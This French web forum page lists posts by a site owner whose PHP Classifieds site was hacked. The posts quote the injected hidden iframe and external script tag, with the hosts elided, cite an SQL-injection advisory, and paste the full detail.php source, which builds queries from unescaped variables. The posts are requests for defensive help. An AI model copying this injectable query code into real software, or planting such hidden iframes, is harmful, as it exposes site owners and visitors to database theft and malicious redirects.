Aller au contenu

lechtimi

Membre
  • Compteur de contenus

    8
  • Inscrit(e) le

  • Dernière visite

Messages postés par lechtimi

  1. J'ais cru lire quelque part qu'il était possible de voir où il était passé avec les logs ? quelqu'un pourrait il m'expliquer.

    Autre chose j'ais trouvé ceci:

    Description :

    ajann a découvert une vulnérabilité dans PHP Classifieds, qui pourrait être exploitée par des personnes malintentionnées pour conduire des attaques SQL.

    L'entrée passée au paramètre "user_id" dans detail.php n'est pas correctement filtrée avant d'être utilisée dans une requête SQL. Cela pourrait être exploité pour manipuler les interrogations SQL en injectant du code SQL arbitraire.

    La vulnérabilité est confirmée en version 7.1b. Les autres versions pourraient également être affectées.

    Solutions :

    Editez le code source pour s'assurer que l'entrée est correctement filtrée.

    Voici mon detail php et comment filtrée l'entrée. Merci

    CODE
    <?

    $lSearchEngineArray=array("Google", "Fast", "Slurp", "Ink", "Atomz", "Scooter", "Crawler", "MSNbot", "Poodle", "Genius");

    $lIsSearchE=0;

    foreach($lSearchEngineArray as $key => $val)

    if(strstr($_SERVER['HTTP_USER_AGENT'], $val))

    $lIsSearchE++;

    if($lIsSearchE==0)

    session_start();

    include_once("admin/inc.php");

    $ad_id=round(getParam("id",""));

    $lPrint=getParam("print","");

    // If setting is not set, use these defaults...

    if (!$set_outer_color) { $set_outer_color = "#A9B8D1"; }

    if (!$set_inner_color) { $set_inner_color = "#FFFFFF"; }

    if (!$set_descr_color) { $set_descr_color = "#FFFFFF"; }

    if (!isset($set_descr_cell)) { $set_descr_cell = 10; }

    if (isset($preview)) { $ad_id = $preview; $validation = 0; }

    if (!$ad_id)

    criticalError(LA_ERROR,LA_ERROR_NO_ID);

    if ($validation == 1 && getParam("preview","")=="") { $val_string = " AND ad_is_validated = 1"; } else { $val_string = ""; }

    $sql_links = "select * from $ads_tbl, $cat_tbl, $usr_tbl where cat_id=ad_cat_id AND user_id=ad_owner AND ad_id=$ad_id $val_string";

    $result_from_ad = q($sql_links);

    $row_from_ad=mysql_fetch_array($result_from_ad);

    if (mysql_num_rows($result_from_ad) == 0)

    criticalError(LA_AD_REMOVED_CAPTION,formatString(LA_AD_REMOVED_CONTENT,array(&quot;http://$url")));

    $sitetitle = $row_from_ad["ad_title"];

    $ad_description = $row_from_ad["ad_description"];

    $userid = $row_from_ad["user_id"];

    $ad_date = $row_from_ad["ad_date"];

    $ad_views = $row_from_ad["ad_views"];

    $ad_votes = $row_from_ad["ad_votes"];

    $ad_voters = $row_from_ad["ad_voters"];

    $ad_totalscore = $row_from_ad["ad_totalscore"];

    $votes = $row_from_ad["user_votes"];

    $voters = $row_from_ad["user_voters"];

    $name = $row_from_ad["user_name"];

    $email = $row_from_ad["user_email"];

    $catname = $row_from_ad["cat_name"];

    $catid = $row_from_ad["cat_id"];

    $vendor_url = $row_from_ad["user_vendor_url"];

    $vendor_homepage = $row_from_ad["user_vendor_homepage"];

    $sold = $row_from_ad["ad_is_sold"];

    $cattpl = $row_from_ad["cat_tpl"];

    $datestamp = $row_from_ad["ad_date"];

    $ad_has_picture = $row_from_ad["ad_has_picture"];

    $is_vendor = $row_from_ad["user_is_vendor"];

    $hide_email = $row_from_ad["user_hide_email"];

    $img_stored = $row_from_ad["img_stored"];

    $user_id = $row_from_ad["user_id"];

    $expire_days = $row_from_ad["ad_expires_after_days"];

    $ad_expires=formatDateShort($row_from_ad["ad_date_expire"]);

    $timestamp_expire_date=$row_from_ad["ad_date_expire"];

    $ad_added=formatDateShort($row_from_ad["ad_date"]);

    $pagename= $sitename . " - " . $sitetitle;

    $meta_desc=htmlspecialchars(dotString($ad_description,150));

    if (empty($lPrint))

    include_once("header_inc.php");

    else

    {

    include ($full_path_to_public_program . "/admin/classes/TplLoad.php");

    echo "<script language='javascript'>window.print()</script>";

    echo "<p><a href='detail.php?id=$ad_id'><h2>$la_p</h2></a></p>";

    }

    $tplDetail=new TplLoad;

    $tplDetail->assign("isLoggedIn",$_SESSION["valid_user"]);

    $tplDetail->assign("set_outer_color",$set_outer_color);

    $tplDetail->assign("set_inner_color",$set_inner_color);

    $tplDetail->assign("set_descr_color",$set_descr_color);

    $tplDetail->assign("set_descr_cell",$set_descr_cell);

    $tplDetail->assign("id_ad","$ad_id");

    $tplDetail->assign("ad_id","$ad_id");

    $tplDetail->assign("ad_title","$sitetitle");

    $tplDetail->assign("ad_added","$ad_added");

    $tplDetail->assign("ad_hits","$ad_views");

    $tplDetail->assign("ad_expire","$ad_expires");

    $tplDetail->assign("ad_catid","$catid");

    $tplDetail->assign("ad_username","$name");

    $tplDetail->assign("ad_email","$email");

    $tplDetail->assign("banner","$lBanner");

    if ($set_nl2br)

    $ad_description=nl2br($ad_description);

    $tplDetail->assign("ad_description","$ad_description");

    $tplDetail->assign("user_id","$user_id");

    $tplDetail->assign("num_days",getHowManyDaysRemains($timestamp_expire_date,time()));

    $tplDetail->assign("LA_REMOVE_FAV",urldecode(LA_REMOVE_FAV));

    $tplDetail->assign("LA_ADD_FAV",urldecode(LA_ADD_FAV));

    $tplDetail->assign("set_image_program",$set_image_program);

    // Print out linked title

    writeLinkedTitle(getCategoryId($ad_id));

    if ($set_detail_login_need==1)

    check_valid_user("");

    if ($hide_email==1)

    $tplDetail->assign("hide_email",1);

    else

    $tplDetail->assign("email","$email");

    // Member Rating

    if ($set_vote_on_member)

    $tplDetail->assign("rate_member",$set_vote_on_member);

    if ($set_ratemem_login_need)

    $tplDetail->assign("rate_member_requires_login","$set_ratemem_login_need");

    if ($voters > 0)

    $votes = round($votes/$voters, 1);

    else {

    $votes=0;

    $voters=0;

    }

    $tplDetail->assign("sold","$sold");

    $tplDetail->assign("ad_member_votes","$votes");

    $tplDetail->assign("ad_member_voters","$voters");

    // Ad Rating

    if ($set_rate)

    $tplDetail->assign("rate_ad","$set_rate");

    if ($set_rate_ad_require_member)

    $tplDetail->assign("rate_ad_requires_login","$set_rate_ad_require_member");

    // Get image rating

    $lStr=getStarRating($ad_totalscore);

    $tplDetail->assign("ad_vote_img_result","$lStr");

    $tplDetail->assign("ad_ad_votes","$ad_votes");

    $tplDetail->assign("ad_ad_voters","$ad_voters");

    $tplDetail->assign("ad_totalscore","$ad_totalscore");

    // Code for prev next result

    if ($sold == 1)

    $tplDetail->assign("isSold",1);

    if ($vendor_url AND $set_vendor AND $is_vendor)

    $tplDetail->assign("vendor","<a href='$vendor_homepage' target='new'><img src='$vendor_url' border='0'></a>");

    $sql_prevad_id = "select ad_id from $ads_tbl, $cat_tbl, $usr_tbl where cat_id=ad_cat_id AND ad_owner=user_id AND ad_id < $ad_id AND cat_id = $catid $val_string order by ad_id desc limit 1";

    $result_prevad_id = q($sql_prevad_id);

    $row_prev = mysql_fetch_array($result_prevad_id);

    $prevad_id = $row_prev["ad_id"];

    $sql_nextad_id = "select ad_id from $ads_tbl, $cat_tbl, $usr_tbl where cat_id=ad_cat_id AND ad_owner=user_id AND ad_id > $ad_id AND cat_id = $catid $val_string order by ad_id asc limit 1";

    $result_nextad_id = q($sql_nextad_id);

    $row_next = mysql_fetch_array($result_nextad_id);

    $nextad_id = $row_next["ad_id"];

    // PREV NEXT AD

    if ($prevad_id)

    {

    $str_nav.="<a href='detail.php?id=$prevad_id&catid=$catid'>";

    $str_nav.="<img src='layout_images/arrow-back.gif' border='0' alt='' /> ".LA_P."</a>";

    $tplDetail->assign("prev_link","detail.php?id=$prevad_id&catid=$catid");

    }

    $str_nav.="   ";

    if ($nextad_id)

    {

    $str_nav.="<a href='detail.php?id=$nextad_id&catid=$catid'>";

    $str_nav.=LA_N . " <img src='layout_images/arrow-forw.gif' border='0' alt='' /></a>";

    $tplDetail->assign("next_link","detail.php?id=$nextad_id&catid=$catid");

    }

    $tplDetail->assign("navigation","$str_nav");

    if (getParam("contact",""))

    include "contact.php";

    if (getParam("tellafriend",""))

    include "tellafriend.php";

    //print_r($row_from_ad);

    $lQuestions=getDbValuesBasedOnQuestions($cattpl,1,$row_from_ad,$set_seperator);

    $tplDetail->assign("ads",$lQuestions[$ad_id]);

    $lQuestions=getDbValuesBasedOnQuestions($cattpl,2,$row_from_ad,$set_seperator);

    $tplDetail->assign("users",$lQuestions[$ad_id]);

    if ($set_favourites AND isset($_SESSION["valid_user"]))

    {

    $sql = "select fid from $fav_tbl where f_adid=$ad_id AND f_user_id = ".$_SESSION["valid_user"];

    $r = mysql_query($sql);

    $number = mysql_num_rows($r);

    if ($number)

    $tplDetail->assign("fav_remove_link",1);

    else

    $tplDetail->assign("fav_add_link",1);

    }

    $query = "select * from $vid_tbl where video_adid=$ad_id";

    $sql_result = q($query);

    while ($row=mysql_fetch_array($sql_result))

    {

    $id = $row["video_id"];

    $filename_stored = $row["video_file"];

    $array = split("\.",$filename_stored);

    $last=count($array)-1;

    $ext=$array[$last];

    $videoArray[$i]["file"]=$filename_stored;

    $videoArray[$i]["id"]=$id;

    $videoArray[$i]["ext"]=strtolower($ext);

    $i++;

    }

    $tplDetail->assign("video_list",$videoArray);

    $query = "select * from $doc_tbl where f_adid=$ad_id order by f_id desc";

    $sql_result_doc = q ($query);

    $i=0;

    while ($row=mysql_fetch_array($sql_result_doc))

    {

    $id = $row["f_id"];

    $filetype = $row["filetype"];

    $filename = $row["f_file"];

    $fArray[$i]["id"] = $id;

    $fArray[$i]["name"] = $filename;

    $lSize=filesize("images/docs/" . $filename);

    $fArray[$i]["size"] = round($lSize/1024);

    $lDisplay=ereg_replace($ad_id . "_","",$filename);

    $fArray[$i]["display_name"] = $lDisplay;

    $lExtArray=split("\.",$filename);

    $lExt=end($lExtArray);

    $fArray[$i]["ext"] = strtolower($lExt);

    $i++;

    }

    $tplDetail->assign("doc_list", $fArray);

    $query = "select id,filename from $pic_tbl where pic_ad_id=$ad_id";

    $sql_result = q($query);

    $num_ad_has_pictures = mysql_num_rows($sql_result);

    for ($i=0; $i<$num_ad_has_pictures; $i++)

    {

    $row = mysql_fetch_array($sql_result);

    $id = $row["id"];

    $filename_stored = $row["filename"];

    if ($set_image_program==0)

    {

    $lSizeArray=setImageSize($filename_stored,getManualSize("small"),0);

    $imgArray[$i]["w"]=$lSizeArray[0];

    $imgArray[$i]["h"]=$lSizeArray[1];

    }

    else

    $filename_stored=ereg_replace("tmb2","tmb1",$filename_stored);

    $imgArray[$i]["file"]=$filename_stored;

    $imgArray[$i]["id"]=$id;

    $imgArray[$i]["nr"]=$i;

    }

    if ($set_image_program==0)

    $tplDetail->assign("image_max",getManualSize("small"));

    $tplDetail->assign("image_list",$imgArray);

    $tplDetail->assign("set_slideshow",$set_slideShow);

    $tplDetail->assign("set_slideShow_sec",$set_slideShow_sec*1000);

    $tplDetail->assign("set_slideShow_count_from",$set_slideShow_sec);

    $tplDetail->assign("num_pictures",$num_ad_has_pictures);

    $tplDetail->assign("show_still",getParam("show_still",""));

    $s = "UPDATE $ads_tbl set ad_views=ad_views+1 where ad_id=$ad_id";

    $result1=q($s);

    $tplDetail->display("detail.tpl");

    if (empty($lPrint))

    include_once("footer_inc.php");

    else

    echo formatString("<center>".LA_PRINT_CLEAN."</center>", array(formatDate(date("Ymd")),date("H:m"),&quot;http://$url/detail.php?id=$ad_id"));

    ?>

  2. Salut

    Tu avais raison Doudou il n'a pas tardé à recommencer.

    J'ai corrigé une faille de sécurité connu pour ce script, mais malheuresement c'est pas celle là.

    En plus j'ais essayé d'installer la nouvelle version du script et d'importer mes annonces mais ça ne marche pas ( il y a des fichiers dans la derniére version qui ne sont pas dans l'ancienne! Et j'ais plus de 10000 annonces que je ne voudrais pas perdre.

  3. Bonjour

    Mon site à été piraté :mad2:

    Le hacker est passé par .../admin/config/templates_news/

    et là il injecte une ligne de commande (<div id="stats" style="visibility:hidden;" width='1' height='1'><iframe src =&quot;http://www......com" frameborder='0' height='1' width='1'></iframe></div> <script type="text/javascript" src=&quot;http://...."></script>)

    J'ais beau supprimé cette ligne, mon site est toujour redirigé sur un autre site !

    J'ais beau cherché dans d'autre fichiers je ne retrouve pas cette ligne autre part, qu'a t'il put faire d'autre ? ou comment procéder

    Comme je n'ais absolument pas de connaissance dans ce domaine j'aurais besoin d'aide.

    Merci

  4. Bonjour

    Voila j'ai un petit problème, mon site consomme beaucoup de ressource mysql et on m'a dit de mettre une partie de mes pages en cache pour réduire cette conso. Donc je voudrais savoir comment on fait et si on peut le faire sur n'importe quelle page(désolé pour cette question simple pour certain, mais je suis nul)

    D'avance merci

×
×
  • Créer...